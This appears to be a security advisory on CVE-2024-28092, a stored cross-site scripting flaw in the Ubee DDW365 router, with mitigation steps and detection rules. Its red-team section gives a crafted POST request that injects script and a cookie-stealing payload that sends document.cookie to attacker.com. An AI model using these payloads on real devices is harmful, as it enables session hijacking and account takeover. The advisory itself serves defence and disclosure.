CVE-2024-28092

Executive Summary

CVE-2024-28092 is a stored Cross-Site Scripting (XSS) vulnerability affecting the Ubee DDW365 cable modem/router (model XCNDDW365) running firmware version 8.14.3105 on hardware version 3.13.1. An attacker within Wi-Fi proximity can inject malicious scripts into multiple web management interface pages, including RgFirewallEL.asp, RgDdns.asp, RgTime.asp, RgDiagnostics.asp, and RgParentalBasic.asp. The vulnerable input fields are SMTP Server Name, SMTP Username, Host Name, Time Server 1, Time Server 2, Time Server 3, Target, Add Keyword, Add Domain, and Add Allowed Domain. This attack requires no authentication and can lead to session hijacking, credential theft, or further compromise of the device. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer networking device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but based on the attack vector and impact, a realistic assessment is:

• Attack Vector (AV): Adjacent Network (A) – requires Wi-Fi proximity
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must visit a vulnerable page
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 4.6 (Medium)

Threat Level: Medium. The attack requires physical proximity to the Wi-Fi network, but no authentication. Successful exploitation can lead to session hijacking and further attacks on the local network.

Deep Dive & Mechanics

The Ubee DDW365 router's web management interface fails to sanitize user-supplied input in several configuration pages. The vulnerability is stored XSS, meaning the injected script is permanently stored on the device (e.g., in configuration files or database) and executed whenever an administrator or user views the affected page.

Affected Pages and Fields:

• RgFirewallEL.asp: SMTP Server Name, SMTP Username, Host Name
• RgDdns.asp: Host Name
• RgTime.asp: Time Server 1, Time Server 2, Time Server 3
• RgDiagnostics.asp: Target
• RgParentalBasic.asp: Add Keyword, Add Domain, Add Allowed Domain

Attack Flow:

1. Attacker connects to the router's Wi-Fi network (no authentication required if Wi-Fi is open or credentials are known).
2. Attacker sends a crafted HTTP POST request to one of the vulnerable pages with a malicious payload in the vulnerable field.
3. The router stores the payload without sanitization.
4. When an administrator or user visits the affected page, the payload executes in their browser.
5. The attacker can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding in the ASP pages. The application does not escape HTML special characters like <, >, ", ', and &.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code to a hypothetical secure implementation.

Vulnerable Code (ASP/VBScript):

<%
Dim smtpServer
smtpServer = Request.Form("SMTP_Server")
' No sanitization
Response.Write("<input type='text' name='SMTP_Server' value='" & smtpServer & "'>")
%>

Patched Code (Hypothetical):

<%
Dim smtpServer
smtpServer = Request.Form("SMTP_Server")
' Sanitize input
smtpServer = Server.HTMLEncode(smtpServer)
Response.Write("<input type='text' name='SMTP_Server' value='" & smtpServer & "'>")
%>

The patched version uses Server.HTMLEncode to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to the Ubee DDW365 Wi-Fi network (open or known credentials)
• A web browser or tool like Burp Suite, curl, or a Python script

Exploit Payload Example (for SMTP Server Name field):

<script>alert('XSS')</script>

Step-by-Step Exploitation:

1. Connect to the router's Wi-Fi network.
2. Navigate to http://192.168.1.1/RgFirewallEL.asp (default IP may vary).
3. Intercept the POST request using Burp Suite or modify the form.
4. Inject payload into the SMTP_Server field:

   POST /RgFirewallEL.asp HTTP/1.1
   Host: 192.168.1.1
   Content-Type: application/x-www-form-urlencoded
   
   SMTP_Server=<script>alert('XSS')</script>&SMTP_Username=test&Host_Name=test
   

5. Submit the request.
6. When an admin visits the firewall page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender)

Detection Steps:

1. Monitor HTTP POST requests to vulnerable ASP pages for unusual parameters.
2. Look for HTML tags or JavaScript keywords in form fields.
3. Check router logs for repeated failed login attempts or unusual configuration changes.

Mitigation:

• Disable remote management and Wi-Fi access to the admin interface.
• Use a firewall to restrict access to the router's web interface.
• Apply network segmentation to isolate IoT devices.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /RgFirewallEL.asp, /RgDdns.asp, /RgTime.asp, /RgDiagnostics.asp, or /RgParentalBasic.asp containing <script> tags or JavaScript event handlers.
• Outbound connections from the router to unknown IP addresses on port 80/443 (exfiltration).

Host IOCs:

• Unusual entries in the router's configuration (e.g., SMTP server name containing JavaScript).
• Modified DNS or time server settings pointing to attacker-controlled servers.

File IOCs:

• No file-based IOCs as the vulnerability is in firmware.

Detection Engineering

YARA Rule

rule CVE_2024_28092_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Ubee DDW365 configuration pages"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-28092"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/si
    condition:
        any of them
}

Sigma Rule

title: Stored XSS Attempt on Ubee DDW365 Router
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to vulnerable Ubee DDW365 pages containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/RgFirewallEL.asp'
            - '/RgDdns.asp'
            - '/RgTime.asp'
            - '/RgDiagnostics.asp'
            - '/RgParentalBasic.asp'
        cs-uri-query|contains:
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in configuration (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28092 Stored XSS Attempt on Ubee DDW365"; flow:to_server,established; content:"POST"; http_method; content:"/RgFirewallEL.asp"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Turn off WAN-side access to the router's web interface.
2. Change Default Credentials: Ensure strong, unique passwords for the admin account.
3. Restrict Wi-Fi Access: Use WPA2/WPA3 encryption and disable WPS.
4. Monitor Logs: Regularly check router logs for suspicious activity.

Long-Term Fix:

• No official patch is available. Contact Ubee support for firmware updates.
• Consider replacing the device with a more secure alternative if no patch is released.

Workaround:

• Use a firewall to block access to the vulnerable ASP pages from untrusted networks.
• Implement a reverse proxy with input validation (e.g., ModSecurity) if the router is behind another device.

Valters IT
Securing Digital Frontiers